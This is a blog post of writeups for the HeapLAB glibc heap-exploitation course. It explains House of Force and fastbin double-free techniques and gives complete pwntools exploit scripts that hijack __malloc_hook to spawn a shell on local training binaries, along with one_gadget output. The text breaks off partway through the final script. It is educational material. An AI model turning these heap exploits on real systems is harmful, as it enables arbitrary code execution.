HeapLAB
2025-12-24
Tags: pwn
Table of Contents
Below are some of my notes and challenge writeups for Max Kamper's
excellent Glibc malloc pwn course, HeapLAB [1].
[3mThis page will be updated with more challenges in the
future.[23m
== [1m[4mHouse of Force[22m[24m
This technique comes from Phantasmal Phantasmagoria's Malloc
Maleficarum [2], one of the most seminal early works in pwning
Glibc malloc (and the reason so many heap exploits are called
"House of XYZ").
In Glibc, malloc requests for memory are serviced from the top
chunk (aka the wilderness).
Because heap metadata is stored in-line (the size of a chunk
occupies the first 8 bytes of every chunk, just before the address
returned from [40m[35m`malloc`[39m[49m), if we have a heap
overflow we can clobber this metadata and create a huge top chunk;
so huge in fact that it wraps around the virtual address space to
an address before the start of the top chunk.
Then we can request a massive chunk from malloc that stops just
short of our target address such that the first 8 bytes of the
(new) top chunk reside at the target address.
Use the same heap overflow as before and we've overwritten the
target value!
=== [1m[4mSolve[22m[24m
The vulnerability in this binary is that [40m[35m`read`[39m[49m
uses the size of the [3mchunk[23m (returned by
[40m[35m`malloc_usable_size`[39m[49m), not the size of the
user's data, resulting in an 8 byte overflow if we request
[40m`CHUNK_SIZE-8`[49m bytes from malloc (this is the maximum
size of [3muser[23m data that can fit in a chunk of size
[40m`CHUNK_SIZE`[49m).
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_force"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37minfo[0m[1m[37m([0m[33mf[0m[33m"heap: 0x[0m[33m{[0m[1m[37mheap[0m[33m:[0m[33m02x[0m[33m}[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xffffffffffffffff[0m[1m[37m))[0m[1m[37m[0m
[33m# we're calculating the distance between the end of the previous chunk and the address exactly one chunk away (0x20 bytes) from __malloc_hook, so that the next chunk we allocate will overwrite __malloc_hook[0m[1m[37m[0m
[33m# also we have a heap leak so put /bin/sh on the heap[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m(([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__malloc_hook[0m[1m[36m-[0m[1m[36m0x20[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x20[0m[1m[37m),[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[33m# the size of the chunk gets passed to __malloc_hook, so we will allocate &"/bin/sh\x00" bytes[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x20[0m[1m[36m+[0m[1m[36m0x8[0m[1m[36m+[0m[1m[36m0x8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m""[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvall[0m[1m[37m([0m[1m[37mtimeout[0m[1m[36m=[0m[1m[36m0.1[0m[1m[37m))[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mFastbin dup[22m[24m
This time the vuln is a nice and simple double free:
[40m[35m`free`[39m[49m doesn't check if an index was previously
freed, so we can free a previously [40m[35m`malloc`[39m[49med
chunk as many times as we want.
Before we move on let's talk about in-band (stored on the heap) vs
out-of-band (stored somewhere besides the heap) heap metadata.
We saw previously that the size of a chunk is stored in the chunk
itself, but how does [40m[35m`malloc`[39m[49m know where e.g.
the top chunk is in order to service a request?
A heap arena is a data structure that does all of the necessary
bookkeeping for the heap, or more accurately [3ma[23m heap.
When a program has multiple threads, it would be inefficient to
have to contend for a lock for every allocation/free, so each
thread (up to a limit) gets their own slice of the heap (the
section of program memory) governed by their own heap arena.
[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33m/* Serialize access. */[0m[1m[37m[0m
[1m[37m [0m[37m__libc_lock_define[0m[1m[37m [0m[1m[37m(,[0m[1m[37m [0m[1m[37mmutex[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Flags (formerly in max_fast). */[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mflags[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Set if the fastbin chunks contain recently inserted free blocks. */[0m[1m[37m[0m
[1m[37m [0m[33m/* Note this is a bool but not all targets support atomics on booleans. */[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mhave_fastchunks[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Fastbins */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmfastbinptr[0m[1m[37m [0m[1m[37mfastbinsY[0m[1m[37m[[0m[1m[37mNFASTBINS[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Base of the topmost chunk -- not otherwise kept in a bin */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mtop[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* The remainder from the most recent split of a small request */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mlast_remainder[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Normal bins packed as described above */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mbins[0m[1m[37m[[0m[1m[37mNBINS[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[36m2[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m2[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Bitmap of bins */[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mbinmap[0m[1m[37m[[0m[1m[37mBINMAPSIZE[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Linked list */[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m [0m[1m[36m*[0m[1m[37mnext[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Linked list for free arenas. Access to this field is serialized[0m
[33m by free_list_lock in arena.c. */[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m [0m[1m[36m*[0m[1m[37mnext_free[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Number of threads attached to this arena. 0 if the arena is on[0m
[33m the free list. Access to this field is serialized by[0m
[33m free_list_lock in arena.c. */[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37mattached_threads[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Memory allocated from the system in this arena. */[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37msystem_mem[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37mmax_system_mem[0m[1m[37m;[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
The important bit of metadata we care about here are the fastbins.
As an optimization for small (and therefore frequent) allocations,
for chunk sizes within the first [40m`NFASTBINS`[49m multiples of
the smallest chunk size, freeing a chunk of this size adds it to a
corresponding singly linked list (and the heads of these linked
lists are stored in [40m[35m`fastbinsY`[39m[49m).
And while the heads of the linked lists are stored in the arena,
subsequent pointers are stored in-line in the chunks themselves,
[4moverlapping with where user data normally goes[24m.
I like to think of a chunk like this:
[33mstruct[0m[1m[37m [0m[1m[37mfastbin_chunk_0x20[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33munion[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37m_size[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m61[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mnon_main_arena[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mis_mmapped[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mprev_inuse[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37msize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33munion[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mfastbin_chunk_0x20[0m[1m[36m*[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37m_reserved[0m[1m[37m[[0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[37m];[0m[1m[36m<<[0m[37mfootnote[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m [0m[1m[37mfree[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37mdata[0m[1m[37m[[0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m];[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m [0m[1m[37minuse[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
Combining this knowledge with our double free, we could free chunk
A twice, causing it to be added to the corresonding fastbin
freelist twice; then we could [40m[35m`malloc`[39m[49m chunk B
of the same size as A, and the first 8 bytes of the user accessible
data of chunk B that [40m[35m`malloc`[39m[49m returns will
still be interpreted as a [40m[35m`fd`[39m[49m pointer for the
[3mnext[23m occurence of chunk A (the one that's still in the
freelist).
Then we could corrupt this [40m[35m`fd`[39m[49m pointer and
when we allocate another chunk C, [40m[35m`malloc`[39m[49m will
return a chunk at wherever the corrupted [40m[35m`fd`[39m[49m
points.
As an additional complication, we can't actually just allocate
chunk A and then free it twice, because
[40m[35m`malloc`[39m[49m checks if the chunk we're adding to
the freelist is the same chunk that's at the head of the freelist:
[1m[36msize_t[0m[1m[37m [0m[1m[37mvictim_idx[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mfastbin_index[0m[1m[37m [0m[1m[37m([0m[37mchunksize[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m));[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim_idx[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37midx[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"malloc(): memory corruption (fast)"[0m[1m[37m);[0m[1m[37m[0m
This is trivially bypassed by freeing a different chunk in between
the two [40m[35m`free`[39m[49ms of chunk A.
=== [1m[4mSolve[22m[24m
There are a few complications to address when actually writing the
exploit.
We have a libc leak again so malloc hooks (particularly
[40m[35m`__malloc_hook`[39m[49m and
[40m[35m`__free_hook`[39m[49m) are viable targets.
However, because this time we're allocating a fake chunk from a
corrupted freelist pointer, the 16 bytes before our target must be
valid metadata for a freed chunk.
[40m[35m`__free_hook`[39m[49m is surrounded by zeroes so it's a
no-go, but [40m[35m`__malloc_hook`[39m[49m is a different
story:
IMG image
Instead of putzing around with finding a good alignment ourselves,
we can let pwndbg do it for us:
IMG image
But a size field of 0xf8 is larger than that of the largest chunk's
fastbin (0x80).
The values of [40m[35m`_IO_wide_data_0+240`[39m[49m differ
between my aarch64-linux NixOS VM (running the binary with
QEMU/Rosetta [3]) and the intended x86_64-linux Ubuntu VM, so this
approach won't work for my setup specifically.
The same is also true for trying FSOP, as we can't create a fake
chunk in [40m[35m`__GI__IO_file_jumps`[39m[49m.
We'll soon discuss a very interesting method of using the fastbin
dupe to corrupt [40m[35m`main_arena`[39m[49m's top_chunk
pointer, but that requires more allocations than the 7 we're
permitted here, so we'll settle for overwriting the target for now.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"fastbin_dup"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x20[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37m[0m
[33m# 0x20 freelist: NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[36m-[0m[1m[36m8[0m[1m[37m))[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[36m*[0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'target: XXXXXXX\n'[0m
[1m[37mb'target: pwnedXX\n'[0m
=== [1m[4mChallenge solve[22m[24m
So I hinted that there's a way to corrupt
[40m[35m`main_arena`[39m[49m's top_chunk pointer to achieve a
truly arbitrary write, and indeed we'll do just that.
The basic idea is that we have an arbitrary write over the fastbin
head pointers; most values don't point to valid freed fastbin
chunks and will therefore crash during the integrity checks when
allocating from that fastbin, but what if we used that value to
create a fake free fastbin cache inside
[40m[35m`main_arena`[39m[49m?
Then we could use another fastbin dupe to clobber the
[40m[35m`top`[39m[49m chunk pointer, which is convenient
because allocations serviced from the top chunk are not subject to
the same strict size integrity checks as fastbin chunks!
By settings the the [40m[35m`top`[39m[49m pointer to just
before [40m[35m`__malloc_hook`[39m[49m (with some misalignment
introduced to ensure the fake top chunk has a valid size field), we
can jump to a one_gadget when we next call
[40m[35m`malloc`[39m[49m:
[1m[37mone_gadget [0m[33m$([0m[1m[37mpatchelf --print-rpath fastbin_dup_2[0m[33m)[0m[1m[37m/libc.so.6[0m
[1m[37m0xc4dbf execve("/bin/sh", r13, r12)[0m
[1m[37mconstraints:[0m
[1m[37m [r13] == NULL || r13 == NULL || r13 is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xc4ddf execve("/bin/sh", rbp-0x40, r12)[0m
[1m[37mconstraints:[0m
[1m[37m address rbp-0x38 is writable[0m
[1m[37m rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xc4de6 execve("/bin/sh", rbp-0x40, r12)[0m
[1m[37mconstraints:[0m
[1m[37m address rbp-0x38 is writable[0m
[1m[37m rax == NULL || {rax, rdi, NULL} is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xe1fa1 execve("/bin/sh", rsp+0x50, environ)[0m
[1m[37mconstraints:[0m
[1m[37m [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv[0m
As it happens we control the contents of [40m`[rsp+0x50]`[49m,
which we can set to a string that prevents further argument
processing; [40m`"-s"`[49m does the trick for
[40m[35m`dash`[39m[49m/[40m[35m`bash`[39m[49m.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"fastbin_dup_2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
